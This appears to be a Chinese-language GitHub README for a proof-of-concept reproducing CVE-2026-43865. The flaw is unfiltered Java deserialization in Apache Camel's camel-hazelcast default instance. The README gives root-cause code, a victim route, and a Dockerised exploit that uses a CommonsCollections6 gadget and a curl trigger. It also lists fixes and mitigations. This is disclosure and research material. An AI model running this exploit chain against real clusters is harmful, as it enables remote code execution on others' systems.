oscerd/CVE-2026-43865
GitHub: oscerd/CVE-2026-43865
该项目复现了 Apache Camel camel-hazelcast 组件默认配置实例缺失反序列化过滤器导致的远程代码执行漏洞(CVE-2026-43865)。
Stars: 0 | Forks: 0
# camel-hazelcast 默认实例不安全反序列化复现 (CVE-2026-43865)
本项目演示了 Apache Camel 的 `camel-hazelcast` 组件中的一个 **Java 反序列化漏洞**,编号为 **CVE-2026-43865**。当 Camel 自行构建 Hazelcast `Config` 时——即当**没有**提供用户自定义的 `HazelcastInstance`、`hazelcastConfigUri` 或引用的 `Config` bean 时——它**不会**应用任何 Java 反序列化过滤器(既不使用 Hazelcast 的 `JavaSerializationFilterConfig`,也不使用 Camel 端的 `ObjectInputFilter`)。因此,通过 Hazelcast 集群协议到达的对象会在 Hazelcast 的序列化层(`ObjectInputStream.readObject`)中毫无类限制地被反序列化。能够加入或通过其他方式访问该集群的攻击者,可以发布一个精心构造的序列化对象,该对象会在每个 Camel 节点上被反序列化——**远程代码执行**,这是默认存在的,不需要任何明确的 endpoint 配置。
安全公告:https://camel.apache.org/security/CVE-2026-43865.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-hazelcast`(任何 consumer + `HazelcastAggregationRepository` / `HazelcastIdempotentRepository`) |
| **受影响类** | `org.apache.camel.component.hazelcast.HazelcastDefaultComponent`(默认配置实例创建) |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **影响** | 集群中每个 Camel 节点上的远程代码执行 (RCE) |
| **触发条件** | 一个 hazelcast consumer/repository,其受管实例是由 Camel 的**默认**配置创建的 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23414 |
| **报告者** | gaorenyusi |
## 技术细节
当未提供实例/配置时,`HazelcastDefaultComponent` 会根据默认配置构建实例,并且**不**设置任何序列化过滤器:
```
// HazelcastDefaultComponent - affected 4.18.2
if (hazelcastInstance == null && config == null) {
config = new XmlConfigBuilder().build();
config.getProperties().setProperty("hazelcast.version.check.enabled", "false");
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
hzInstance = Hazelcast.newHazelcastInstance(config); // no JavaSerializationFilterConfig
}
```
修复方案在 Camel 自行创建的实例上插入了一个默认过滤器(白名单 `java.`/`javax.`/`org.apache.camel.`,黑名单 `java.net.`),同时保持用户提供的 `Config`/`HazelcastInstance` 不变:
```
// fixed 4.18.3 / 4.21.0
config.getProperties().setProperty("hazelcast.phone.home.enabled", "false");
HazelcastSerializationFilterHelper.applyDefault(config); // <-- added
hzInstance = Hazelcast.newHazelcastInstance(config);
```
任何将反序列化对象传递给 Camel 的结构都会触发此漏洞。此 PoC 在 Poll 模式下使用了一个 **queue** consumer,其中 `IQueue.poll()` 会在 Camel 路由它之前反序列化头部元素:
```
// HazelcastQueueConsumer (Poll mode) - affected
final Object body = queue.poll(config.getPollingTimeout(), TimeUnit.MILLISECONDS); // readObject, no filter
exchange.getIn().setBody(body);
```
## 受害者路由
```
from("hazelcast-queue:cve?queueConsumerMode=Poll") // Camel builds the default (unfiltered) instance
.log("Consumed: ${body.class.name}");
```
## 仓库结构 — 攻击者 vs. 受害者
**受害者**是 Camel 节点(一个 Hazelcast 成员)。**攻击者**是任何可以到达该集群的实体。这个自包含的 PoC 运行了一个 Hazelcast **客户端**(攻击者),它加入了同一个单成员集群(位于 `127.0.0.1:5701` 的 `dev`),并向受害者消费的队列提供了一个 gadget。
```
CVE-2026-43865/
├── pom.xml # camel-hazelcast 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (--add-opens for gadget build; loopback cluster address)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victim: hazelcast-queue consumer (default instance)
│ ├── Gadget.java # CommonsCollections6 gadget, fires during Hazelcast deserialization
│ └── ExploitController.java # attacker: Hazelcast client offers the gadget to the queue
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(用于运行复现程序)
## 复现步骤
### 步骤 1:构建并启动容器
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 步骤 2:触发反序列化 (RCE)
```
curl -s http://localhost:8080/exploit/attack
# -> 作为 cluster client 向 hazelcast queue 'cve' 提供了 gadget。
# Camel 节点的 queue.poll() 通过 Hazelcast 反序列化了它(无 filter)。
# # >>> RCE 证明 — /tmp/pwned 存在:true
```
### 步骤 3:验证
```
docker exec cve-2026-43865 ls -la /tmp/pwned
```
### 清理
```
docker compose down
```
## 攻击向量
任何使用 hazelcast consumer(`hazelcast-topic`、`hazelcast-queue`、`hazelcast-seda`、`hazelcast-map`、`hazelcast-multimap`、`hazelcast-replicatedmap`、`hazelcast-list`、`hazelcast-set`)或 `HazelcastAggregationRepository` / `HazelcastIdempotentRepository` 的 Camel 路由,只要其受管实例是由 Camel 的默认配置创建的,且攻击者能够到达该集群。
## 利用条件
1. 一个 camel-hazelcast consumer/repository,使用了由 Camel 从其**默认**配置创建的实例(没有提供用户自定义的 `HazelcastInstance` / `hazelcastConfigUri` / `Config` bean)。
2. 攻击者可以加入或到达 Hazelcast 集群(默认情况下没有身份验证/TLS)。
3. **classpath 上存在 gadget 库**(此处为 `commons-collections:3.2.1`)。
## 建议修复
升级到 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23414),这些版本会对 Camel 从其自身默认配置创建的实例应用默认的 Hazelcast `JavaSerializationFilterConfig`。
## 缓解措施
在升级之前:
1. 在 Hazelcast 实例上配置反序列化过滤器(`JavaSerializationFilterConfig`,或全 JVM 级别的 `-Djdk.serialFilter=!java.net.**;java.**;javax.**;org.apache.camel.**;!*`)。
2. 启用 Hazelcast **集群身份验证和 TLS**,以限制可以访问集群的人员。
3. 从 classpath 中**移除 gadget 库**(升级/移除 commons-collections 3.x 及类似库)。
## 免责声明
此复现程序仅供**安全研究和授权测试**使用,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击系统。
标签:Apache Camel, Java反序列化, JS文件枚举, Maven, XXE攻击, 中间件安全, 域名枚举, 漏洞复现, 漏洞验证, 编程工具, 请求拦截, 远程代码执行